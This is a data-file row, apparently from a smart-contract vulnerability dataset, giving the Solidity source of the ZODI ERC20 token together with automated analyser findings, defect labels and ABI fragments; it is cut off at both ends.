"SOLIDITY_PRAGMAS_VERSION", "line": 972, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 985, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 447, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 507, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 510, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 516, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 519, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 692, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 693, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 694, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 773, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 775, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 777, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 363, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 503, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 771, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 298, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 367, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 371, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 382, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 387, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 392, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 413, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 305, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 337, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 538, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 337, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 337, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 338, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 341, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 341, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 341, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 342, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 538, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 539, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 540, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 540, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 540, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 541, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 543, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 544, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 545, "severity": 1}] | [{"constant":true,"inputs":[],"name":"rate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"weiRaised","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"wallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"beneficiary","type":"address"}],"name":"buyTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"Xi","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"purchaser","type":"address"},{"indexed":true,"name":"beneficiary","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"TokensPurchased","type":"event"}] | v0.5.5+commit.47a71e8f | false | 200 | 000000000000000000000000295b42684f90c77da7ea46336001010f2791ec8c | Default | false | ||||
ZODI | 0xa0965fb78d355b8695149af688466f55c40e684d | Solidity | pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isOwner(address account) public view returns (bool) {
if( account == owner ){
return true;
}
else {
return false;
}
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AdminRole is Ownable{
using Roles for Roles.Role;
event AdminAdded(address indexed account);
event AdminRemoved(address indexed account);
Roles.Role private _admin_list;
constructor () internal {
_addAdmin(msg.sender);
}
modifier onlyAdmin() {
require(isAdmin(msg.sender)|| isOwner(msg.sender));
_;
}
function isAdmin(address account) public view returns (bool) {
return _admin_list.has(account);
}
function addAdmin(address account) public onlyAdmin {
_addAdmin(account);
}
function removeAdmin(address account) public onlyOwner {
_removeAdmin(account);
}
function renounceAdmin() public {
_removeAdmin(msg.sender);
}
function _addAdmin(address account) internal {
_admin_list.add(account);
emit AdminAdded(account);
}
function _removeAdmin(address account) internal {
_admin_list.remove(account);
emit AdminRemoved(account);
}
}
contract Pausable is AdminRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyAdmin whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyAdmin whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ZODI is ERC20Detailed, ERC20Pausable, ERC20Burnable {
struct LockInfo {
uint256 _releaseTime;
uint256 _amount;
}
address public implementation;
mapping (address => LockInfo[]) public timelockList;
mapping (address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() ERC20Detailed("Zodiac Token", "ZODI", 18) public {
_mint(msg.sender, 7777700000 * (10 ** 18));
}
function balanceOf(address owner) public view returns (uint256) {
uint256 totalBalance = super.balanceOf(owner);
if( timelockList[owner].length >0 ){
for(uint i=0; i<timelockList[owner].length;i++){
totalBalance = totalBalance.add(timelockList[owner][i]._amount);
}
}
return totalBalance;
}
function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) {
if (timelockList[msg.sender].length > 0 ) {
_autoUnlock(msg.sender);
}
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) {
if (timelockList[from].length > 0) {
_autoUnlock(from);
}
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyAdmin returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyAdmin returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function lock(address holder, uint256 value, uint256 releaseTime) public onlyAdmin returns (bool) {
require(_balances[holder] >= value,"There is not enough balance of holder.");
_lock(holder,value,releaseTime);
return true;
}
function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyAdmin returns (bool) {
_transfer(msg.sender, holder, value);
_lock(holder,value,releaseTime);
return true;
}
function unlock(address holder, uint256 idx) public onlyAdmin returns (bool) {
require( timelockList[holder].length > idx, "There is not lock info.");
_unlock(holder,idx);
return true;
}
/**
* @dev Upgrades the implementation address
* @param _newImplementation address of the new implementation
*/
function upgradeTo(address _newImplementation) public onlyOwner {
require(implementation != _newImplementation);
_setImplementation(_newImplementation);
}
function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) {
_balances[holder] = _balances[holder].sub(value);
timelockList[holder].push( LockInfo(releaseTime, value) );
emit Lock(holder, value, releaseTime);
return true;
}
function _unlock(address holder, uint256 idx) internal returns(bool) {
LockInfo storage lockinfo = timelockList[holder][idx];
uint256 releaseAmount = lockinfo._amount;
delete timelockList[holder][idx];
timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)];
timelockList[holder].length -=1;
emit Unlock(holder, releaseAmount);
_balances[holder] = _balances[holder].add(releaseAmount);
return true;
}
function _autoUnlock(address holder) internal returns(bool) {
for(uint256 idx =0; idx < timelockList[holder].length ; idx++ ) {
if (timelockList[holder][idx]._releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if( _unlock(holder, idx) ) {
idx -=1;
}
}
}
return true;
}
/**
* @dev Sets the address of the current implementation
* @param _newImp address of the new implementation
*/
function _setImplementation(address _newImp) internal {
implementation = _newImp;
}
/**
* @dev Fallback function allowing to perform a delegatecall
* to the given implementation. This function will return
* whatever the implementation call returns
*/
function () payable external {
address impl = implementation;
require(impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize)
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0)
let size := returndatasize
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, size)
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | [{"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["ockInfostoragelockinfo.L567"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["102", "110"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["585", "572"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["582"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"ZODI.sol": [560]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZODI.sol": [12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZODI.sol": [64, 61, 62, 63]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"ZODI.sol": [32, 33, 34, 35, 29, 30, 31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [458, 459, 460]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [451, 452, 453]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [444, 445, 446]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [537, 538, 539, 540, 541]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [403, 404, 405]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [544, 545, 546, 547, 543]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [193, 194, 195, 196]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [516, 517, 518, 519, 520, 521]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [523, 524, 525, 526, 527, 528]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [553, 554, 555, 556]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [140, 141, 142]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [144, 145, 143]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [110, 111, 112, 113, 114]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [137, 138, 139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [232, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [394, 395, 396]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [530, 531, 532, 533, 534, 535]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"ZODI.sol": [249, 250, 251]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZODI.sol": [89]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZODI.sol": [451, 452, 453]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZODI.sol": [458, 459, 460]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"ZODI.sol": [444, 445, 446]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"ZODI.sol": [640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [553]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [223]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [222]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"ZODI.sol": [123]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"ZODI.sol": [582]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"ZODI.sol": [487]}}] | [] | [{"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 572, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 272, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 417, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 494, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 581, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 494, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 581, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 123, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 161, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 225, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 431, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 432, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 433, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 220, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 608, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"removeAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isAdmin","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newImplementation","type":"address"}],"name":"upgradeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"}],"name":"unfreezeAccount","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"value","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"holder","type":"address"},{"name":"idx","type":"uint256"}],"name":"unlock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"